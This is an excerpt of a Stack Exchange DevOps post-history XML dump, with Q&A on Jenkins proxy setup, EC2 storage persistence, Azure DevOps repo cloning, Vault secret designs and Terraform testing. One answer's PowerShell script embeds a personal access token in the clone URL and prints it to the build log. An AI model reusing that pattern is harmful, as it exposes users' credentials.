:&#xD;&#xA;&#xD;&#xA;    2019-10-03 12:05:38.516+0000 [id=1] WARNING o.e.j.s.handler.ContextHandler#setContextPath: Empty contextPath&#xD;&#xA;&#xD;&#xA;But it always ends at being stuck at this page.&#xD;&#xA;&#xD;&#xA;I've searched the web but my google fu seems bad today so here I am.&#xD;&#xA;&#xD;&#xA;This sounds crazy to me, jenkins install is supposed to be easy and quite forward, but I can't make it works ...&#xA;&#xA;[Edit]&#xA;Might be a connection issue, we saw jenkins trying to connect to an ec2 instance... we have some proxy, but did not found the correct options (in Java command) to get through it, any tips welcome&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27812" PostHistoryTypeId="50" PostId="8071" RevisionGUID="4ba9fba9-6817-454f-9054-d4cdb2ec045a" CreationDate="2019-10-06T18:00:45.157" UserId="-1" />
  <row Id="27813" PostHistoryTypeId="2" PostId="9362" RevisionGUID="a4884169-a03d-40ad-b536-eb5e09f27604" CreationDate="2019-10-06T18:02:54.977" UserId="17467" Text="I created an EC2 instance of `r5ad.xlarge` and installed Jenkins on it. However, after a few jobs I configured and ran I saw a warning about no space left. Then realised Jenkins was installed on 8 GB drive and that it's a non-persistent drive.&#xD;&#xA;&#xD;&#xA;1st try: After reading on the subject I changed the 2 volumes of the machine with `modify-instance` to be `DeleteOnTerminate` to false and copied Jenkins to the bigger disk and configured auto-mount, following [this][1] and [this][2]. Then I stopped and started the machine and everything got deleted from the disk.&#xD;&#xA;&#xD;&#xA;2nd try: So I defined a new EBS volume (SSD gp2)(with [this][3] article) and attached it to the instance. Again with `DeleteOnTerminate=false`, formatted then setup auto mount and copied Jenkins directory. Stopped and Started the machine, again everything gone...&#xD;&#xA;&#xD;&#xA;What am I doing wrong? How do you make the attached volume persistent?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html&#xD;&#xA;  [2]: https://linuxtechlab.com/simple-way-to-change-home-directory-of-jenkins-server/&#xD;&#xA;  [3]: https://devopscube.com/mount-ebs-volume-ec2-instance/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27814" PostHistoryTypeId="1" PostId="9362" RevisionGUID="a4884169-a03d-40ad-b536-eb5e09f27604" CreationDate="2019-10-06T18:02:54.977" UserId="17467" Text="How to setup a permanent storage volume for EC2 instance?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27815" PostHistoryTypeId="3" PostId="9362" RevisionGUID="a4884169-a03d-40ad-b536-eb5e09f27604" CreationDate="2019-10-06T18:02:54.977" UserId="17467" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;storage&gt;&lt;amazon-ebs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27822" PostHistoryTypeId="2" PostId="9365" RevisionGUID="fb89eba6-beae-407c-9b5e-962864bc32d0" CreationDate="2019-10-06T21:55:13.703" UserId="6367" Text="For the best practices will be great to install Jenkins master on the lower Environments (best Dev env) and to leave Production in peace with only necessary things (with your end-user application and their dependencies).&#xD;&#xA; &#xD;&#xA;The reason why is because production means production and if something will happen with Jenkins or if you will allow a lot of people accessing Jenkins in production you increase your failure rate.&#xD;&#xA;&#xD;&#xA;Will be better to install Jenkins separated from production and to do VPC Peering between clusters and after you can create a fully CI/CD pipeline where you can create a Jenkins slave/agent which will deploy your application to PROD.&#xD;&#xA;&#xD;&#xA;PROD suppose to be more focused to an end Product result.&#xD;&#xA;You didn't specify which cloud provider do you use so, I can't help too much...&#xD;&#xA;Hope this will clarify your vision." ContentLicense="CC BY-SA 4.0" />
  <row Id="27823" PostHistoryTypeId="2" PostId="9366" RevisionGUID="ca8ad469-5d27-408e-894c-22074fcfa97b" CreationDate="2019-10-06T22:03:51.670" UserId="9924" Text="You use pretty old ansible, maybe worth to try a new one. Although tests &quot;succeeded&quot; and &quot;success&quot; should be in 2.2 too.&#xD;&#xA; &#xD;&#xA;But main problem I think it's `failed_when: no` in your task. It makes test `when: aptitude_installed is success` completely useless, it will be always `true` because `failed_when: no` marks all tasks as successful.&#xD;&#xA;&#xD;&#xA;If you don't want to stop on task, but still to have an idea how it went, you should use `ignore_errors: true`, not `failed_when: no`. With `ignore_errors: true` you can both continue your playbook and inspect a real tasks results.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27824" PostHistoryTypeId="2" PostId="9367" RevisionGUID="55092a37-db79-4e98-a9ff-dd88265035ee" CreationDate="2019-10-06T22:32:03.113" UserId="8800" Text="That *150GB disk* that `r5ad.xlarge` comes with is known as *ephemeral storage* - its content is wiped when you stop the instance. If you need persistent storage you can use `r5a.xlarge` that doesn't have the ephemeral storage disk and simply give it a bigger EBS disk. &#xD;&#xA;&#xD;&#xA;Either you can increase the size of the root disk during instance creation or create another EBS and use that. EBS volumes are persistent, they don't go away when you *stop* the instance (they may be deleted if you *terminate* the instance though). &#xD;&#xA;&#xD;&#xA;If you don't see the previous content of EBS volume after a reboot make sure you're properly mounting it during boot (hint: `/etc/fstab`).&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="27828" PostHistoryTypeId="2" PostId="9369" RevisionGUID="f220aafe-9f19-480e-9d33-f0da40d6a2fe" CreationDate="2019-10-07T05:30:16.127" UserId="17481" Text="As part of my architecture, I want to create a deployment/service on my kubernetes cluster which reads message queues and open dockerized subscribers and then subsequently relay message to the original subscriber (if its an RPC pattern).&#xD;&#xA;&#xD;&#xA;I was wondering what would be the best workflow to ensure minimal latency (esp since some workflows are RPC).&#xD;&#xA;&#xD;&#xA;1. I can create kubernetes JOBs but that would mean i read logs for the output of pods which would be relayed and then subsequently delete the job . But I worry this might be an overkill&#xD;&#xA;2. I can volume share the docker socket and my service can then run my images using docker client. But I am not if thats the right way to do so given that i would like to have proper tracking/versioning of my docker images esp since nodes on clusters are disposable&#xD;&#xA;3. Are there existing frameworks to handle my situation." ContentLicense="CC BY-SA 4.0" />
  <row Id="27829" PostHistoryTypeId="1" PostId="9369" RevisionGUID="f220aafe-9f19-480e-9d33-f0da40d6a2fe" CreationDate="2019-10-07T05:30:16.127" UserId="17481" Text="Run docker applications within a kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="27830" PostHistoryTypeId="3" PostId="9369" RevisionGUID="f220aafe-9f19-480e-9d33-f0da40d6a2fe" CreationDate="2019-10-07T05:30:16.127" UserId="17481" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27831" PostHistoryTypeId="6" PostId="9355" RevisionGUID="227807ef-8422-4ff6-aad9-e24ff691bda9" CreationDate="2019-10-07T06:36:37.550" UserId="17442" Comment="edited tags" Text="&lt;azure&gt;&lt;encryption&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27832" PostHistoryTypeId="33" PostId="9355" RevisionGUID="84c6a5c3-2e86-40da-9509-81ad1b1d8e81" CreationDate="2019-10-07T06:36:53.010" UserId="17442" Comment="43" />
  <row Id="27833" PostHistoryTypeId="5" PostId="9355" RevisionGUID="227807ef-8422-4ff6-aad9-e24ff691bda9" CreationDate="2019-10-07T06:36:37.550" UserId="17442" Comment="edited tags" Text="I am looking for a way to reliably check accepted cipher suites by an Azure App Service. On standard virtual machine I just remote to it and execute PowerShell command: `Get-TlsCipherSuite` which provides a list of currently accepted keys or check the system's registry.&#xD;&#xA;&#xD;&#xA;I could pen test app service by ssllabs.com however I cross checked their results against results from `Get-TlsCipherSuite` for a certain machine and it's not 100% accurate: ssllabs didn't detect suites with Pre Shared Keys.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;- how to query Azure App Service accepted cipher suite?&#xD;&#xA;&#xD;&#xA;- how do browsers know which cipher suites are available to it when it tries to go to a given domain?&#xD;&#xA;&#xD;&#xA;- if that's not obvious out of answers to previous questions why ssllabs doesn't detect suites using PSK?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27834" PostHistoryTypeId="2" PostId="9370" RevisionGUID="ae8c1cf6-5796-4a2b-b291-b33ddce1863e" CreationDate="2019-10-07T07:57:14.783" UserId="6356" Text="OK, a good week-end does its job as usual: My issue was indeed caused by my company proxy (a good thing would be to add this requirement in the jenkins doc, i might have  missed it anyway).&#xD;&#xA;So the fix is actually simple, just need to add the correct options to the jenkins start command, as in:&#xD;&#xA;```&#xD;&#xA;-Dhttp.proxyHost=&lt;your_proxy_ip_here&gt; -Dhttp.proxyPort=&lt;your_proxy_port_here&gt; -Dhttps.proxyHost=&lt;your_proxy_ip_here&gt; -Dhttps.proxyPort=&lt;your_proxy_port_here&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Full example:&#xD;&#xA;```&#xD;&#xA;/usr/bin/java -Djava.net.preferIPv4Stack=true -Dhttp.proxyHost=10.21.92.40 -Dhttp.proxyPort=3128 -Dhttps.proxyHost=10.21.92.40 -Dhttps.proxyPort=3128 -jar /usr/share/jenkins/jenkins.war --webroot=/var/cache/jenkins/war --httpPort=8080&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;tcpdump was the savior here (+ a colleague :) )" ContentLicense="CC BY-SA 4.0" />
  <row Id="27835" PostHistoryTypeId="50" PostId="8079" RevisionGUID="09d77a88-ae86-43e0-bf55-9599aa20d3c3" CreationDate="2019-10-07T10:02:20.300" UserId="-1" />
  <row Id="27843" PostHistoryTypeId="2" PostId="9372" RevisionGUID="803e2811-09d7-4863-acc1-2e6412578e5c" CreationDate="2019-10-07T15:00:06.757" UserId="11069" Text="I also use the classic editor, and I have implemented this for our builds. My use case was that I have a set of common set of build/release scripts stored in their own repository, and I want the ability to bring them into the application builds that I am executing.&#xD;&#xA;&#xD;&#xA;I created a custom **Task Group** with an **Inline PowerShell script** to do this:&#xD;&#xA;&#xD;&#xA;```powershell&#xD;&#xA;# Reference: https://blog.rsuter.com/script-to-clone-all-git-repositories-from-your-vsts-collection/&#xD;&#xA;Write-Host &quot;Cloning MyRepo from Azure DevOps...&quot;&#xD;&#xA;&#xD;&#xA;$sourcesDir = $env:SYSTEM_DEFAULTWORKINGDIRECTORY&#xD;&#xA;Write-Host &quot;Source directory: $sourcesDir&quot;&#xD;&#xA;$repoDir = Join-Path -Path &quot;$sourcesDir&quot; -ChildPath &quot;MyRepo&quot;&#xD;&#xA;Write-Host &quot;Target directory: $repoDir&quot;&#xD;&#xA;&#xD;&#xA;$url = &quot;https://dev.azure.com/my_org/my_team_project/_git/MyRepo&quot;&#xD;&#xA;&#xD;&#xA;# Since using PAT, don't need real username, just non-empty username. Use &quot;x&quot;.&#xD;&#xA;$username = &quot;x&quot;&#xD;&#xA;$pat = $env:PAT # passed into inline script as environment variable&#xD;&#xA;$credentials = (&quot;{0}:{1}&quot; -f  $username, $pat)&#xD;&#xA;$urlWithCreds = $url -Replace &quot;://&quot;, (&quot;://{0}@&quot; -f $credentials)&#xD;&#xA;Write-Host &quot;Clone URL: $urlWithCreds&quot;&#xD;&#xA;&#xD;&#xA;git --version&#xD;&#xA;git clone --progress $urlWithCreds&#xD;&#xA;Set-Location &quot;$repoDir&quot;&#xD;&#xA;git checkout master&#xD;&#xA;git log -1 # show the latest commit&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You will have to create a PAT with code permissions and pass it into the script as an environment variable. This task will clone the repository to a directory of the same name *within* your existing repo.&#xD;&#xA;&#xD;&#xA;Putting it in a task group allows me to manage it in one place, and then all my more complicated build scripts can be under version control.&#xD;&#xA;&#xD;&#xA;There is an active feature request for the capability to source from multiple repos. It looks like it is in the roadmap: https://developercommunity.visualstudio.com/idea/365522/allow-tfs-build-to-depend-on-multiple-repositories.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27844" PostHistoryTypeId="2" PostId="9373" RevisionGUID="2dcee0af-b364-454a-9f16-0f40e0a00535" CreationDate="2019-10-07T15:57:09.800" UserId="11069" Text="It seems like Database Name is linked as a [Process Parameter](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/parameters?view=azure-devops).&#xD;&#xA;&#xD;&#xA;Under the &quot;SQL Deployment&quot; process, you should see the variable there in an editable state. You can either fill in the value there, or you can unlink and fill in the value in the &quot;SQL DB Deploy&quot; task." ContentLicense="CC BY-SA 4.0" />
  <row Id="27850" PostHistoryTypeId="50" PostId="6659" RevisionGUID="f8fe37f1-7494-4781-9a4a-7a541dfd6af8" CreationDate="2019-10-07T17:00:55.147" UserId="-1" />
  <row Id="27851" PostHistoryTypeId="2" PostId="9375" RevisionGUID="d1a6a1cb-d766-4234-8af3-b10494986006" CreationDate="2019-10-07T17:21:34.137" UserId="4637" Text="[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Design A: CD tool communicate with Vault to fetch App secrets on its behalf**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Jenkins ( *CD tool* ) computes the Vault path according to the app/project &amp; according to which environment the app will be deployed  (qa, staging, prod,...).&#xD;&#xA;&#xD;&#xA;- Jenkins uses the computed path as payload to make a REST call to Vault.&#xD;&#xA;&#xD;&#xA;- Jenkins get key-value pairs as an HTTP response &#xD;&#xA;- Jenkins injects these values as ENV variables in the server/container where the app is deployed.&#xD;&#xA;- Then, Jenkins deploys the app itself ( or restart it) after having ENV vars ready.&#xD;&#xA;- The application is designed to read these values from ENV variables ( e.g.: `process.env` in case of NodeJs App ).&#xD;&#xA;&#xD;&#xA;- If the server/container is restarted/rebooted, it is configured to call the same Vault API to bring again the key-value pairs before the app is started.&#xD;&#xA;&#xD;&#xA;**Design B: App communicates directly with Vault to fetch its secrets**&#xD;&#xA;&#xD;&#xA;- Jenkins ( *CD tool* ) deploys everything except app's secrets.&#xD;&#xA;- Application is environment-aware. It fetches its secrets from Vault thru API call.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Design A Concerns**&#xD;&#xA;&#xD;&#xA;- Encryption of secrets while injecting them from CD tool to App environment.&#xD;&#xA;&#xD;&#xA;**Design B Concerns**&#xD;&#xA;&#xD;&#xA;- High Availability of Vault is crucial.If it goes down for any reason (.e.g: Network outage), All applications will not be functional.&#xD;&#xA;&#xD;&#xA;What's the best design according to you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/M2m1S.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27852" PostHistoryTypeId="1" PostId="9375" RevisionGUID="d1a6a1cb-d766-4234-8af3-b10494986006" CreationDate="2019-10-07T17:21:34.137" UserId="4637" Text="Recommended Design - Communication among Jenkins + Vault + App" ContentLicense="CC BY-SA 4.0" />
  <row Id="27853" PostHistoryTypeId="3" PostId="9375" RevisionGUID="d1a6a1cb-d766-4234-8af3-b10494986006" CreationDate="2019-10-07T17:21:34.137" UserId="4637" Text="&lt;jenkins&gt;&lt;continuous-deployment&gt;&lt;hashicorp-vault&gt;&lt;high-availability&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27854" PostHistoryTypeId="50" PostId="6131" RevisionGUID="d6c9e70a-9c2d-43a9-b01d-7294f9760343" CreationDate="2019-10-07T18:02:40.517" UserId="-1" />
  <row Id="27855" PostHistoryTypeId="2" PostId="9376" RevisionGUID="316759e8-166f-4ec4-a15c-f568d0f45e95" CreationDate="2019-10-07T18:22:54.717" UserId="8125" Text="Given that you mentioned rarely using some k8s resources, you could explore some alternatives:&#xD;&#xA;&#xD;&#xA; * With `gcloud SDK` you could create scripts to be executed for the periods you want to reduce GKE nodes (even to zero) during periods you're not using it&#xD;&#xA; * With [Google Cloud Functions](https://cloud.google.com/functions/docs/) (GCF) you can create some python/Node.js/Go script to access GKE APIs and also execute the operations to stop/reduce your instances. These GCF could be triggered by schedulers configured by [Cloud Scheduler](https://cloud.google.com/scheduler/docs/tut-pub-sub). The cost here for such executions will be really low or even zero." ContentLicense="CC BY-SA 4.0" />
  <row Id="27856" PostHistoryTypeId="50" PostId="5192" RevisionGUID="cba0b96f-171d-4f94-b1d7-8fab09d64c3b" CreationDate="2019-10-07T19:01:55.507" UserId="-1" />
  <row Id="27861" PostHistoryTypeId="2" PostId="9378" RevisionGUID="0def1dad-a3be-42b3-bf12-78d6ee313bc5" CreationDate="2019-10-08T00:26:55.667" UserId="10525" Text="I know Azure release pipelines can deploy to on-premise servers and other cloud VMs.  My pom.xml file enables Maven to create a .jar file.  My Azure build uses this pom.xml file.  The Azure build works fine by itself; there are no errors when it runs.  I want to place the .jar file on to a Linux server via either the same Azure build pipeline job or a different Azure Release Pipeline.  How do I do this?&#xD;&#xA;&#xD;&#xA;I've looked at documentation.  When I changed the build with a `pathToPublish:` stanza in my Azure build job, the job completes, but there is a warning: &#xD;&#xA;&#xD;&#xA;&gt; [warning]Directory '/home/vsts/work/1/a' is empty. Nothing will be added to build artifact 'MyBuildOutputs'.&#xD;&#xA;&#xD;&#xA;I don't see how &quot;publishWebProjects&quot; would be relevant.  Nothing I am doing is relevant to the web.&#xD;&#xA;&#xD;&#xA;When I try to create a new and separate release pipeline in Azure (that will hopefully include the same build pipeline job), the different stages that I choose from never involve deploying to a VM.  Plus none of the options are obvious to me as to how to configure a source (i.e., to use the .jar file from the previous step a build job).  Maybe the source defaults to the Artifact thus created by the Maven build job that I configured.  In the Pipeline job I configured a Git repo as an Artifact, but I am not 100% sure Azure knows I want the .jar file that it can produce with Maven to be the artifact to be deployed as the source of the pipeline job itself.  Which Template, in the Pipeline options for a given stage, do I choose as the stage in a new release pipeline to move a .jar file to a Linux server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27862" PostHistoryTypeId="1" PostId="9378" RevisionGUID="0def1dad-a3be-42b3-bf12-78d6ee313bc5" CreationDate="2019-10-08T00:26:55.667" UserId="10525" Text="How do I get Azure Release Pipelines to move a .jar from a Build Pipeline job and place it on a Linux VM?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27863" PostHistoryTypeId="3" PostId="9378" RevisionGUID="0def1dad-a3be-42b3-bf12-78d6ee313bc5" CreationDate="2019-10-08T00:26:55.667" UserId="10525" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27864" PostHistoryTypeId="5" PostId="9375" RevisionGUID="f32f6709-ac7d-4758-b312-6145d3ef694a" CreationDate="2019-10-08T02:47:46.520" UserId="4637" Comment="added 11 characters in body" Text="[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Design A: CD tool communicate with Vault to fetch App secrets on its behalf**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Jenkins ( *CD tool* ) computes the Vault path according to the app/project &amp; according to which environment the app will be deployed  (qa, staging, prod,...).&#xD;&#xA;&#xD;&#xA;- Jenkins uses the computed path as payload to make a REST call to Vault.&#xD;&#xA;&#xD;&#xA;- Jenkins get key-value pairs as an HTTP response &#xD;&#xA;- Jenkins injects these values as ENV variables in the server/container where the app is deployed.&#xD;&#xA;- Then, Jenkins deploys the app itself ( or restart it) after having ENV vars ready.&#xD;&#xA;- The application is designed to read these values from ENV variables ( e.g.: `process.env` in case of NodeJs App ).&#xD;&#xA;&#xD;&#xA;- If the server/container is restarted/rebooted, it is configured to call the same Vault API to bring again the key-value pairs before the app is started.&#xD;&#xA;&#xD;&#xA;**Design B: App communicates directly with Vault to fetch its secrets**&#xD;&#xA;&#xD;&#xA;- Jenkins ( *CD tool* ) deploys everything except app's secrets.&#xD;&#xA;- Application is environment-aware. It fetches its secrets from Vault thru API call.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Design A Concerns**&#xD;&#xA;&#xD;&#xA;- In-transit Encryption of secrets while injecting them from CD tool to App environment.&#xD;&#xA;&#xD;&#xA;**Design B Concerns**&#xD;&#xA;&#xD;&#xA;- High Availability of Vault is crucial.If it goes down for any reason (.e.g: Network outage), All applications will not be functional.&#xD;&#xA;&#xD;&#xA;What's the best design according to you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/M2m1S.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27865" PostHistoryTypeId="2" PostId="9379" RevisionGUID="dbef3378-f26e-4e1c-bd07-cec68342661b" CreationDate="2019-10-08T07:24:26.710" UserId="17499" Text="I need to analyze the file i/o operations caused due to a process. &#xD;&#xA;So I would like to know, which all files are affected by this program. Is there a tool for this particular use case?.&#xD;&#xA; &#xD;&#xA;One of our debugging for a slow URL processing got the culprit being the file being read each time a URL was processed by the system. So I would like to get recommendations for a tool which would monitor the file activities per process.&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27866" PostHistoryTypeId="1" PostId="9379" RevisionGUID="dbef3378-f26e-4e1c-bd07-cec68342661b" CreationDate="2019-10-08T07:24:26.710" UserId="17499" Text="How to analyze the file activities due to process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27867" PostHistoryTypeId="3" PostId="9379" RevisionGUID="dbef3378-f26e-4e1c-bd07-cec68342661b" CreationDate="2019-10-08T07:24:26.710" UserId="17499" Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27868" PostHistoryTypeId="2" PostId="9380" RevisionGUID="5f30ee0f-1a61-40ac-9a9e-a1062e67f9a9" CreationDate="2019-10-08T08:35:34.737" UserId="17502" Text="I had the same problem, after I updated certbot on OS X I could not get the digitalocean plugin to appear, even after re-installing it with `pip install certbot-dns-digitalocean`.&#xD;&#xA;&#xD;&#xA;The solution was to uninstall it and then re-install it. I used sudo just to be safe:&#xD;&#xA;&#xD;&#xA;    sudo pip uninstall certbot-dns-digitalocean &#xD;&#xA;    sudo pip install certbot-dns-digitalocean&#xD;&#xA;&#xD;&#xA;It then appeared ok in the `certbot plugins` list." ContentLicense="CC BY-SA 4.0" />
  <row Id="27869" PostHistoryTypeId="2" PostId="9381" RevisionGUID="587acd98-0f66-413e-a8ca-7ec7b70780f0" CreationDate="2019-10-08T09:47:52.387" UserId="6356" Text="I am trying to setup a jenkins pipeline for my IaC code validation, for this I'd like jenkins to clone a gitlab (hosted) repository, for this purpose I setup a credential using username / key type, i used a jenkins user + a generated rsa key (same key on master and slave for simplicity).&#xD;&#xA;&#xD;&#xA;When logged in the master or slave I can git clone using the following command and result :&#xD;&#xA;```&#xD;&#xA;root@jenkins-slave-1 [~]: su - jenkins&#xD;&#xA;jenkins@jenkins-slave-1:~$ cd /tmp/&#xD;&#xA;jenkins@jenkins-slave-1:/tmp$ git clone git@l-gitlab1.domain:salt/salt_states.git&#xD;&#xA;Cloning into 'salt_states'...&#xD;&#xA;remote: Enumerating objects: 1177, done.&#xD;&#xA;remote: Counting objects: 100% (1177/1177), done.&#xD;&#xA;remote: Compressing objects: 100% (483/483), done.&#xD;&#xA;remote: Total 1177 (delta 676), reused 1153 (delta 665)&#xD;&#xA;Receiving objects: 100% (1177/1177), 1.64 MiB | 0 bytes/s, done.&#xD;&#xA;Resolving deltas: 100% (676/676), done.&#xD;&#xA;jenkins@jenkins-slave-1:/tmp$ &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I can see the correct entry in auth log on gitlab instance, the one saying that a pubkey authentication was accepted.&#xD;&#xA;&#xD;&#xA;BUT, when I run the pipeline (that is using the same credentials), it fails with this message :&#xD;&#xA;```&#xD;&#xA;Cloning the remote Git repository&#xD;&#xA;Honoring refspec on initial clone&#xD;&#xA;Cloning repository git@l-gitlab1.domain:salt/salt_states.git&#xD;&#xA; &gt; git init /home/jenkins/workspace/salt_build_test # timeout=10&#xD;&#xA;Fetching upstream changes from git@l-gitlab1.domain:salt/salt_states.git&#xD;&#xA; &gt; git --version # timeout=10&#xD;&#xA;using GIT_SSH to set credentials jenkins user's key (same key on master and slave(s))&#xD;&#xA; &gt; git fetch --tags --progress -- git@l-gitlab1.domain:salt/salt_states.git +refs/remotes/origin/dev # timeout=20&#xD;&#xA;ERROR: Error cloning remote repo 'origin'&#xD;&#xA;hudson.plugins.git.GitException: Command &quot;git fetch --tags --progress -- git@l-gitlab1.domain:salt/salt_states.git +refs/remotes/origin/dev&quot; returned status code 128:&#xD;&#xA;stdout: &#xD;&#xA;stderr: Permission denied, please try again.&#xD;&#xA;Permission denied, please try again.&#xD;&#xA;Permission denied (publickey,password).&#xD;&#xA;fatal: Could not read from remote repository.&#xD;&#xA;&#xD;&#xA;Please make sure you have the correct access rights&#xD;&#xA;and the repository exists.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The gitlab auth log is showing that the authentication tried to use a password auth mode, not a pubkey. ...&#xD;&#xA;```Oct  8 11:49:23 l-gitlab1 sshd[18490]: Failed password for git from 172.27.200.46 port 56750 ssh2&#xD;&#xA;Oct  8 11:49:23 l-gitlab1 sshd[18490]: Failed password for git from 172.27.200.46 port 56750 ssh2&#xD;&#xA;Oct  8 11:49:23 l-gitlab1 sshd[18490]: Connection closed by 172.27.200.46 port 56750 [preauth]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas about what I am doing wrong ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27870" PostHistoryTypeId="1" PostId="9381" RevisionGUID="587acd98-0f66-413e-a8ca-7ec7b70780f0" CreationDate="2019-10-08T09:47:52.387" UserId="6356" Text="jenkins credentials not used as expected when cloning git repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="27871" PostHistoryTypeId="3" PostId="9381" RevisionGUID="587acd98-0f66-413e-a8ca-7ec7b70780f0" CreationDate="2019-10-08T09:47:52.387" UserId="6356" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27872" PostHistoryTypeId="2" PostId="9382" RevisionGUID="f5396d4d-9e4d-4a44-a19d-c4ed8ba0b80f" CreationDate="2019-10-08T10:46:31.467" UserId="3429" Text="How we can manage database part in DevOps environment/CICD pipeline, Here taking about the SQL Script. For Example any deployment where Insert and Update SQL's, If we setup in CICD pipeline then I will execute everytime thus I will re-execute everytime &amp; DevOps scenarios are fail in this situation.&#xD;&#xA;&#xD;&#xA;Overall How we can setup pipeline with SQL script and Application in real world and In case of rollback, How can we manage it ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27873" PostHistoryTypeId="1" PostId="9382" RevisionGUID="f5396d4d-9e4d-4a44-a19d-c4ed8ba0b80f" CreationDate="2019-10-08T10:46:31.467" UserId="3429" Text="How to deploy SQL Script in DevOps culture and Rollback situation too?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27874" PostHistoryTypeId="3" PostId="9382" RevisionGUID="f5396d4d-9e4d-4a44-a19d-c4ed8ba0b80f" CreationDate="2019-10-08T10:46:31.467" UserId="3429" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;continuous-deployment&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27875" PostHistoryTypeId="2" PostId="9383" RevisionGUID="4fd8d572-4c25-487f-ba4b-42238026997c" CreationDate="2019-10-08T15:55:24.580" UserId="6579" Text="The Gitlab plugin requires an auth token, you're trying to use an SSH key.&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/gitlab-plugin#global-plugin-configuration&#xD;&#xA;&#xD;&#xA;&quot;PLEASE NOTE: This auth configuration is only used for accessing the GitLab API for sending build status to GitLab. It is not used for cloning git repos. The credentials for cloning (usually SSH credentials) should be configured separately, in the git plugin.&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27876" PostHistoryTypeId="2" PostId="9384" RevisionGUID="9f50c2a6-9f11-4b32-9f79-ba35ea0a3b8b" CreationDate="2019-10-08T15:59:11.523" UserId="17512" Text="I saw this elegant, low tech method to test Terraform suggested by [apparentlymart](https://github.com/apparentlymart) in a GitHub issue thread. It's not a appropriate for every situation but it's great for verifying module logic.&#xD;&#xA;&#xD;&#xA;Create a root module that includes the module under test and verifies the under-test outputs. Here is a simple example using two files:&#xD;&#xA;&#xD;&#xA;- `main.tf` that will run the tests&#xD;&#xA;- `simple_module/outputs.tf` that represents a module under test&#xD;&#xA;&#xD;&#xA;## ./main.tf&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  required_version = &quot;&gt;= 0.12&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;simple_module&quot; {&#xD;&#xA;  source = &quot;./simple_module&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;locals {&#xD;&#xA;  expected = 1&#xD;&#xA;  got      = module.simple_module.module-returns-1&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# Test Output&#xD;&#xA;output &quot;expect-1&quot; {&#xD;&#xA;  value = upper(local.expected == local.got)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;output &quot;expect-other&quot; {&#xD;&#xA;  value = &quot;other&quot; == local.got ? upper(true) : &quot;FALSE. Got ${local.got}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## ./simple_module/outputs.tf&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output &quot;module-returns-1&quot; {&#xD;&#xA;  value = 1&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Run the tests&#xD;&#xA;&#xD;&#xA;    terraform init&#xD;&#xA;    terraform apply 